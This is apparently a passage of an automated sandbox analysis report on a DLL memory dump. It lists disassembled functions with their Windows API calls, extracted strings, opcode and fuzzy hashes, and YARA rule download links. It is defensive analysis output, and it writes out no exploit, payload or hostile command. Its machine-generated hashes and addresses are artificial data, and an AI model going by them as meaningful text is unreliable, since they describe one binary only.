Part of subcall function 6E918252: HeapFree.KERNEL32(00000000,00000000,?,6E923A72,?,00000000,?,?,?,6E923D17,?,00000007,?,?,6E921D29,?), ref: 6E918268
Part of subcall function 6E918252: GetLastError.KERNEL32(?,?,6E923A72,?,00000000,?,?,?,6E923D17,?,00000007,?,?,6E921D29,?,?), ref: 6E91827A

_free.LIBCMT ref: 6E921BEB
_free.LIBCMT ref: 6E921C00
_free.LIBCMT ref: 6E921C0B
_free.LIBCMT ref: 6E921C2D
_free.LIBCMT ref: 6E921C40
_free.LIBCMT ref: 6E921C4E
_free.LIBCMT ref: 6E921C59
_free.LIBCMT ref: 6E921C91
_free.LIBCMT ref: 6E921C98
_free.LIBCMT ref: 6E921CB5
_free.LIBCMT ref: 6E921CCD

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: ec4853ec2bae46ee0a9811dbd8500eb337fbddcf39225b2367889c7b1801b0df
Instruction ID: 4f0ede18c70cd0ccda2e3c8f5304f51b8c275448e3c64810c8595d0980f808d4
Opcode Fuzzy Hash: ec4853ec2bae46ee0a9811dbd8500eb337fbddcf39225b2367889c7b1801b0df
Instruction Fuzzy Hash: F9316D316186059FEF659ABAD840BD673ECFF82354F208C39E458D7198DB32E8A49F11

Uniqueness

Uniqueness Score: -1.00%

Function 6E923415, Relevance: 18.4, APIs: 12, Instructions: 375COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 6E92345D
_free.LIBCMT ref: 6E923481
_free.LIBCMT ref: 6E92348E
_free.LIBCMT ref: 6E9234B3
_free.LIBCMT ref: 6E9234C0
_free.LIBCMT ref: 6E9234C9
_free.LIBCMT ref: 6E9237A4
_free.LIBCMT ref: 6E9237AC

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: c0a3d714f8a7f3344995054bf705e44038fd24e9d76a6b63efa4f6f473a0d11f
Instruction ID: 49bb1e979803f8c7b8f4e527557998c67f1d3c86ca9ddad20f424553c59c13d1
Opcode Fuzzy Hash: c0a3d714f8a7f3344995054bf705e44038fd24e9d76a6b63efa4f6f473a0d11f
Instruction Fuzzy Hash: 66C15EB2D44209AFDB20CAE8CC86FDA77FCAF59704F144865FA05EB285D670E9408F61

Uniqueness

Uniqueness Score: -1.00%

Function 6E9138F1, Relevance: 18.0, APIs: 1, Strings: 9, Instructions: 493COMMON

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 6E913D04

Strings

f, xrefs: 6E9139DE
p, xrefs: 6E913A47
:, xrefs: 6E9139B8
p, xrefs: 6E9139E5
Z, xrefs: 6E913AC2
A, xrefs: 6E913AB8
p, xrefs: 6E913A01
f, xrefs: 6E913A40
f, xrefs: 6E9139FA

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: __aulldvrm
String ID: :$A$Z$f$f$f$p$p$p
API String ID: 1302938615-2466996737
Opcode ID: 4f07803d5002463201c219d8dc8e0c4a7ce44c136796955bb09aa2d5a6d7788c
Instruction ID: d3e7bec705ccfe038427dd2eb366a355714cff92f1421af1f0a25fc1b3c31bf9
Opcode Fuzzy Hash: 4f07803d5002463201c219d8dc8e0c4a7ce44c136796955bb09aa2d5a6d7788c
Instruction Fuzzy Hash: DC126C79A0825E9AEB20CFF9D8886EDB776FF40714FA28555D4186B684D370CE84CF12

Uniqueness

Uniqueness Score: -1.00%

Function 6E91FECD, Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 302COMMON

Download Yara Rule

Strings

, xrefs: 6E920155

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID: 0-3907804496
Opcode ID: f05997465c859b303b6cbbdc17e3af2f0264839f8392ce82f790d0516a5a0435
Instruction ID: d9a2606b3daaa72ced5df50e1b1a05dc235b9c51f6470e7a97cfd7197f8904bf
Opcode Fuzzy Hash: f05997465c859b303b6cbbdc17e3af2f0264839f8392ce82f790d0516a5a0435
Instruction Fuzzy Hash: 9AC1B274A1824AAFDF05CFD9C8A0BED7BB9BF8A314F004469E4549B286D770D942CF61

Uniqueness

Uniqueness Score: -1.00%

Function 6E9023E0, Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 179registryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6E93DA58), ref: 6E902414
GetClassInfoExW.USER32 ref: 6E902449
GetClassInfoExW.USER32 ref: 6E90245C
LeaveCriticalSection.KERNEL32(6E93DA58), ref: 6E902467
LoadCursorW.USER32(6E8F0000,?), ref: 6E9024B9
GetClassInfoExW.USER32 ref: 6E90250F
RegisterClassExW.USER32 ref: 6E90251F
LeaveCriticalSection.KERNEL32(6E93DA58), ref: 6E9025B2

Strings

ATL:%p, xrefs: 6E9024D9
0, xrefs: 6E902442

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: Class$CriticalInfoSection$Leave$CursorEnterLoadRegister
String ID: 0$ATL:%p
API String ID: 269841140-2453800769
Opcode ID: 2f96cc2396c88bd2c77387c83fd4dc48b7adaf10cd13221fbfc0660d3c90eb7a
Instruction ID: 71f8e4e8fa00815596c4bcf558f30f97ccca1a97750b00031f2a0fff63b7a1be
Opcode Fuzzy Hash: 2f96cc2396c88bd2c77387c83fd4dc48b7adaf10cd13221fbfc0660d3c90eb7a
Instruction Fuzzy Hash: 8961B071918B05DFDB20CFA9C9609AAB7F9FF99714B804A1DE88697641EB70F480CF50

Uniqueness

Uniqueness Score: -1.00%

Function 6E8F4FC0, Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 175COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6E8F4FFF
std::_Lockit::_Lockit.LIBCPMT ref: 6E8F5021
std::_Lockit::~_Lockit.LIBCPMT ref: 6E8F5041
std::_Facet_Register.LIBCPMT ref: 6E8F51AA
std::_Lockit::~_Lockit.LIBCPMT ref: 6E8F51C2
Concurrency::cancel_current_task.LIBCPMT ref: 6E8F51E4
Concurrency::cancel_current_task.LIBCPMT ref: 6E8F51E9
Concurrency::cancel_current_task.LIBCPMT ref: 6E8F51EE

Strings

false, xrefs: 6E8F5155
true, xrefs: 6E8F517B

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Concurrency::cancel_current_task$Lockit::_Lockit::~_$Facet_Register
String ID: false$true
API String ID: 3742692055-2658103896
Opcode ID: e5e59e391e3bbbcd077a4d92f82c76a1898946f0848c87e46ea04c3cea300211
Instruction ID: cef1d5449f5edb73850b47229233ebf49a21e18423e0eaa3e6928c8bd17261f5
Opcode Fuzzy Hash: e5e59e391e3bbbcd077a4d92f82c76a1898946f0848c87e46ea04c3cea300211
Instruction Fuzzy Hash: 44619970904705DBDB20CFA4C840BDABBB9EF95748F10895ED805AB380DB76EA46CF91

Uniqueness

Uniqueness Score: -1.00%

Function 6E909E3A, Relevance: 16.1, APIs: 6, Strings: 3, Instructions: 304COMMON

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 6E909F37
type_info::operator==.LIBVCRUNTIME ref: 6E909F59
___TypeMatch.LIBVCRUNTIME ref: 6E90A068
IsInExceptionSpec.LIBVCRUNTIME ref: 6E90A13A
_UnwindNestedFrames.LIBCMT ref: 6E90A1BE
CallUnexpected.LIBVCRUNTIME ref: 6E90A1D9

Strings

csm, xrefs: 6E909EE4
csm, xrefs: 6E909E77
csm, xrefs: 6E909F90

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionSpec$CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2123188842-393685449
Opcode ID: 58aa31c116857b4dc3cff3ff5db45b74959356b79996b00e9ceab808d5c168e0
Instruction ID: 9cc0624e2b39b2c8b1b239196acbe14f3b59144b37a1b160cd5f190687a83c27
Opcode Fuzzy Hash: 58aa31c116857b4dc3cff3ff5db45b74959356b79996b00e9ceab808d5c168e0
Instruction Fuzzy Hash: 5AB1557180020AAFCF55CFE4C8809DEBBB9BF94314B90495DE8216B255D3B5EA91CFD1

Uniqueness

Uniqueness Score: -1.00%

Function 6E900400, Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 107timeCOMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 6E900418
GetDeviceCaps.GDI32(00000000,0000005A), ref: 6E900445
MulDiv.KERNEL32(00000008,00000000), ref: 6E90044E
CreateFontW.GDI32(00000000), ref: 6E900457
ReleaseDC.USER32 ref: 6E900464
SetTimer.USER32 ref: 6E900479

Part of subcall function 6E9012B0: BeginPaint.USER32(?,?), ref: 6E9012F3
Part of subcall function 6E9012B0: GetParent.USER32(?), ref: 6E9012FC
Part of subcall function 6E9012B0: GetClientRect.USER32 ref: 6E901312
Part of subcall function 6E9012B0: CreateCompatibleDC.GDI32(?), ref: 6E901318
Part of subcall function 6E9012B0: CreateCompatibleBitmap.GDI32(?,?,?), ref: 6E90133A
Part of subcall function 6E9012B0: SelectObject.GDI32(00000000,00000000), ref: 6E901346
Part of subcall function 6E9012B0: SelectObject.GDI32(00000000,?), ref: 6E901358
Part of subcall function 6E9012B0: SendMessageW.USER32(?,00000014,00000000,00000000), ref: 6E901371
Part of subcall function 6E9012B0: SendMessageW.USER32(?,0000000F,?,00000000), ref: 6E90137F
Part of subcall function 6E9012B0: SetBkMode.GDI32(?,00000001), ref: 6E901388
Part of subcall function 6E9012B0: SetTextColor.GDI32(?,00FFFFFF), ref: 6E901394
Part of subcall function 6E9012B0: GetClientRect.USER32 ref: 6E9013A6
Part of subcall function 6E9012B0: ClientToScreen.USER32(?,?), ref: 6E9013B4
Part of subcall function 6E9012B0: ClientToScreen.USER32(?,?), ref: 6E9013C9
Part of subcall function 6E9012B0: ClientToScreen.USER32(?,?), ref: 6E9013EB

DeleteObject.GDI32(?), ref: 6E9004A0

Strings

Arial, xrefs: 6E90041E

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: Client$CreateObjectScreen$CompatibleMessageRectSelectSend$BeginBitmapCapsColorDeleteDeviceFontModePaintParentReleaseTextTimer
String ID: Arial
API String ID: 1525433823-493054409
Opcode ID: 498448c55971bbb644a843ea48cf22a13e5862606f43d719a0a98ecd1eb082c7
Instruction ID: 617a06bd7a2ddcdbc1e54810e57c3a56eea3525d21fd890a12887110afb6cde7
Opcode Fuzzy Hash: 498448c55971bbb644a843ea48cf22a13e5862606f43d719a0a98ecd1eb082c7
Instruction Fuzzy Hash: A5310272250601AFEB509F68CC46BAA7BA8FF46321F104516F101DA2D0D7B1E861CFE0

Uniqueness

Uniqueness Score: -1.00%

Function 6E907640, Relevance: 15.2, APIs: 10, Instructions: 154memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,6E8F7CE5,6E8F7CE7,00000000,00000000,6CDDFCA0,?,00000000,?,Function_00018230,6E93A1F0,000000FE,?,6E8F7CE5), ref: 6E9076C9
__alloca_probe_16.LIBCMT ref: 6E9076EE
MultiByteToWideChar.KERNEL32(00000000,00000000,6E8F7CE5,?,00000000,00000000,?,Function_00018230,6E93A1F0,000000FE,?,6E8F7CE5), ref: 6E907744
SysAllocString.OLEAUT32(00000000), ref: 6E90774F
_com_issue_error.COMSUPP ref: 6E907778
_com_issue_error.COMSUPP ref: 6E907782
GetLastError.KERNEL32(80070057,6CDDFCA0,?,00000000,?,Function_00018230,6E93A1F0,000000FE,?,6E8F7CE5), ref: 6E907787
_com_issue_error.COMSUPP ref: 6E90779A
GetLastError.KERNEL32(00000000,?,00000000,?,Function_00018230,6E93A1F0,000000FE,?,6E8F7CE5), ref: 6E9077B0
_com_issue_error.COMSUPP ref: 6E9077C3

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: _com_issue_error$ByteCharErrorLastMultiWide$AllocString__alloca_probe_16
String ID:
API String ID: 3079088546-0
Opcode ID: 290eefa62ed2babd67bbd027cba5db3154a79a99eb5d631ad8a66f002292854e
Instruction ID: 39b4019062b082f17c0abadccadbe9ab97f808d87b57e209a649b0117e5d030f
Opcode Fuzzy Hash: 290eefa62ed2babd67bbd027cba5db3154a79a99eb5d631ad8a66f002292854e
Instruction Fuzzy Hash: 9D41C4B1A04205ABDB01AFE8C844BDE7BACEF49764F50462DE519E7280D774E840CFE5

Uniqueness

Uniqueness Score: -1.00%

Function 6E918836, Relevance: 15.1, APIs: 10, Instructions: 70COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 6E91884C

Part of subcall function 6E918252: HeapFree.KERNEL32(00000000,00000000,?,6E923A72,?,00000000,?,?,?,6E923D17,?,00000007,?,?,6E921D29,?), ref: 6E918268
Part of subcall function 6E918252: GetLastError.KERNEL32(?,?,6E923A72,?,00000000,?,?,?,6E923D17,?,00000007,?,?,6E921D29,?,?), ref: 6E91827A

_free.LIBCMT ref: 6E918858
_free.LIBCMT ref: 6E918863
_free.LIBCMT ref: 6E91886E
_free.LIBCMT ref: 6E918879
_free.LIBCMT ref: 6E918884
_free.LIBCMT ref: 6E91888F
_free.LIBCMT ref: 6E91889A
_free.LIBCMT ref: 6E9188A5
_free.LIBCMT ref: 6E9188B3

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: d1b635a4a9d0323ffe188b2d30827481dea209ff0ed603e747d488f419bc152c
Instruction ID: b88025e2770bb1710e25491b201fea057c3fa2b141c9e11501b645bfb8a27ebe
Opcode Fuzzy Hash: d1b635a4a9d0323ffe188b2d30827481dea209ff0ed603e747d488f419bc152c
Instruction Fuzzy Hash: E921C77690410CAFCB16DFD4C880DDE7BB9FF99284F0049A6F9199B160EB31DA549F81

Uniqueness

Uniqueness Score: -1.00%

Function 6E8FD3E0, Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 100libraryloaderregistryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(Advapi32.dll,6CDDFCA0,?,?,?,6E928C60,000000FF), ref: 6E8FD419
GetProcAddress.KERNEL32(00000000,RegDeleteKeyTransactedW), ref: 6E8FD429
GetModuleHandleW.KERNEL32(Advapi32.dll,6CDDFCA0,?,?,?,6E928C60,000000FF), ref: 6E8FD489
GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 6E8FD499
RegDeleteKeyW.ADVAPI32(?,?), ref: 6E8FD4E8

Strings

Advapi32.dll, xrefs: 6E8FD414, 6E8FD484
RegDeleteKeyExW, xrefs: 6E8FD493
RegDeleteKeyTransactedW, xrefs: 6E8FD423

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProc$Delete
String ID: Advapi32.dll$RegDeleteKeyExW$RegDeleteKeyTransactedW
API String ID: 2668475584-1053001802
Opcode ID: 6d836e97423f643829aa0dff403b3e0e9642397f9e496ed99ccc5b43393de433
Instruction ID: 7dd3465f302563baafee2a81bb5c9f2b995f70f38ecbc4f5474277eb686895c4
Opcode Fuzzy Hash: 6d836e97423f643829aa0dff403b3e0e9642397f9e496ed99ccc5b43393de433
Instruction Fuzzy Hash: AF31D072648604EFEF218F89D904F96BBA4FF5A750F10852AEE049B6C0D776A410CF92

Uniqueness

Uniqueness Score: -1.00%

Function 6E923837, Relevance: 13.7, APIs: 9, Instructions: 201COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 6E9238A5
_free.LIBCMT ref: 6E9238B1
_free.LIBCMT ref: 6E9239DA
_free.LIBCMT ref: 6E9239E5

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: d2ad017736cbbeb00451e8806b3ba0ccce3b019287cb1853dcf8cd3e3db67bf0
Instruction ID: 3cba530cc9e81692e2496194c17a211c6dfd75fe7808d9304ec5459247a81cc1
Opcode Fuzzy Hash: d2ad017736cbbeb00451e8806b3ba0ccce3b019287cb1853dcf8cd3e3db67bf0
Instruction Fuzzy Hash: 2861C271954606AFDB21CFB8C844BDAB7FDAF86710F104979E955AB288E730E8008F51

Uniqueness

Uniqueness Score: -1.00%

Function 6E906D5F, Relevance: 12.2, APIs: 8, Instructions: 175COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000001,?,00000000,00000000,?,?,?,00000001), ref: 6E906DA8
__alloca_probe_16.LIBCMT ref: 6E906DD4
MultiByteToWideChar.KERNEL32(00000001,00000001,00000000,?,00000000,00000000), ref: 6E906E13
LCMapStringEx.KERNEL32 ref: 6E906E30
LCMapStringEx.KERNEL32 ref: 6E906E6F
__alloca_probe_16.LIBCMT ref: 6E906E8C
LCMapStringEx.KERNEL32 ref: 6E906ECE
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 6E906EF1

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: b22d63c75e2be273ea578d205e08df145d23bbfdc35efcad50d5cb9ecf84211a
Instruction ID: d5f042f59fe0f5519b20fbed815f912aac9866bfa6f9ed123d1a94b8f681ed5b
Opcode Fuzzy Hash: b22d63c75e2be273ea578d205e08df145d23bbfdc35efcad50d5cb9ecf84211a
Instruction Fuzzy Hash: A7519C7252020AAFEF108FE4CC54FAB3BADEF45754F514828B924AA591DB74C890CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 6E90723E, Relevance: 12.1, APIs: 8, Instructions: 73memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,0000000D,00000000,?,6E9073E8,00000000), ref: 6E907262
HeapAlloc.KERNEL32(00000000), ref: 6E907269

Part of subcall function 6E907334: IsProcessorFeaturePresent.KERNEL32(0000000C,6E907250,00000000,?,6E9073E8,00000000), ref: 6E907336

InterlockedPopEntrySList.KERNEL32(00000000,00000000,?,6E9073E8,00000000), ref: 6E907279
VirtualAlloc.KERNEL32(00000000,00001000,00001000,00000040), ref: 6E9072A0
RaiseException.KERNEL32(C0000017,00000000,00000000,00000000), ref: 6E9072B4
InterlockedPopEntrySList.KERNEL32(00000000), ref: 6E9072C7
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 6E9072DA

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocEntryHeapInterlockedListVirtual$ExceptionFeatureFreePresentProcessProcessorRaise
String ID:
API String ID: 2460949444-0
Opcode ID: 7d906b811c0610e9ec0b6445b50f4ef491e910c086644f93784f6910260dbc47
Instruction ID: 98a4dc2c6cd5b970e58725777bc830b05e42a9fb283f54ba62b23a1ed1132d2a
Opcode Fuzzy Hash: 7d906b811c0610e9ec0b6445b50f4ef491e910c086644f93784f6910260dbc47
Instruction Fuzzy Hash: CB11C872664B12AFFF2226E94D58F6B366DEF46775F810828FD05D6180DBA0CC409EB0

Uniqueness

Uniqueness Score: -1.00%

Function 6E91A54F, Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 265COMMON

Download Yara Rule

APIs

Part of subcall function 6E91897C: GetLastError.KERNEL32(00000000,00000000,00000004,6E90B7B1,00000000,00000000,00000000,?,6E91D694,00000000,00000000,?,00AA6658,00000000), ref: 6E918981
Part of subcall function 6E91897C: SetLastError.KERNEL32(00000000,FFFFFFFF,000000FF,?,6E91D694,00000000,00000000,?,00AA6658,00000000), ref: 6E918A1F

_free.LIBCMT ref: 6E91A85C
_free.LIBCMT ref: 6E91A875
_free.LIBCMT ref: 6E91A8B5
_free.LIBCMT ref: 6E91A8BE
_free.LIBCMT ref: 6E91A8CA

Strings

C, xrefs: 6E91A6AB

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorLast
String ID: C
API String ID: 3291180501-1037565863
Opcode ID: b53c027025954ce81d49049ddce4683343039858961cf23a2bca2e8a0953ff17
Instruction ID: b648fee7066000a2e02318697f532f590b525f611a971af74d7e2171695d3a76
Opcode Fuzzy Hash: b53c027025954ce81d49049ddce4683343039858961cf23a2bca2e8a0953ff17
Instruction Fuzzy Hash: BFB13475A0921A9FDB24DF58C894AD9B7B8FF58314F1049AAD809A7250E770EE94CF40

Uniqueness

Uniqueness Score: -1.00%

Function 6E8FFE30, Relevance: 10.8, APIs: 7, Instructions: 263COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6E93F328,6CDDFCA0), ref: 6E8FFE8D
GetModuleFileNameW.KERNEL32(?,00000104), ref: 6E8FFF10
LoadTypeLib.OLEAUT32(?,00000000), ref: 6E8FFF37
LoadRegTypeLib.OLEAUT32(6E9364B8,00000000,00000000,?,00000000), ref: 6E8FFF52
EnterCriticalSection.KERNEL32(6E93F344), ref: 6E900115
LeaveCriticalSection.KERNEL32(6E93F344), ref: 6E90012B

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$EnterLoadType$FileLeaveModuleName
String ID:
API String ID: 1976781235-0
Opcode ID: 27a32cdc4817903ef537fc4a90f382392b32b043d39e5ed4aae41750d0a71426
Instruction ID: cbe4444ff4d7bd0657946acb05fa1b372a5c9d5075b68e6cb51d719ce0c535b3
Opcode Fuzzy Hash: 27a32cdc4817903ef537fc4a90f382392b32b043d39e5ed4aae41750d0a71426
Instruction Fuzzy Hash: 4DB18B75905619EFDB60CFA4C958B99B7B9EF4A304F604899E808EB380DB35DE41CF60

Uniqueness

Uniqueness Score: -1.00%

Function 6E8FDCB0, Relevance: 10.7, APIs: 7, Instructions: 163libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,00000000,00000060), ref: 6E8FDD3D
LoadLibraryExW.KERNEL32(?,00000000,00000002), ref: 6E8FDD4F
FindResourceW.KERNEL32(00000000,?,?), ref: 6E8FDD76
LoadResource.KERNEL32(00000000,00000000), ref: 6E8FDD8E

Part of subcall function 6E8FD340: GetLastError.KERNEL32(80070057,8007000E,80004005), ref: 6E8FD340

FreeLibrary.KERNEL32(00000000,00000000,?), ref: 6E8FDE7F

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: LibraryLoad$Resource$ErrorFindFreeLast
String ID:
API String ID: 328770362-0
Opcode ID: 25ce4219009b99d0e5acae6afaae08ceafe489bb6a9d2c62c803c17c7192e055
Instruction ID: 3cda055db417226562820607eae87a46c02ce93d32fa11f97f8ffa50a542bfe1
Opcode Fuzzy Hash: 25ce4219009b99d0e5acae6afaae08ceafe489bb6a9d2c62c803c17c7192e055
Instruction Fuzzy Hash: 545113B1A00619DFCB21CB94C850B9EB7B8EF99794F500959F708A72C0DB349A468F59

Uniqueness

Uniqueness Score: -1.00%

